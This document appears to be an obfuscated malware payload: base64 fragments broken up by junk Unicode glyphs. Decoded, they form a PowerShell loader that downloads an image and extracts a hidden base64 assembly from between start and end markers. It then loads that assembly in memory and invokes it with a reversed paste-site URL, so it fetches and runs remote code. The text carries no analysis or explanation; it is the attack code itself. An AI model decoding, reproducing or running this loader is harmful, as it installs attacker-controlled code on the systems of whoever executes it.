䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ 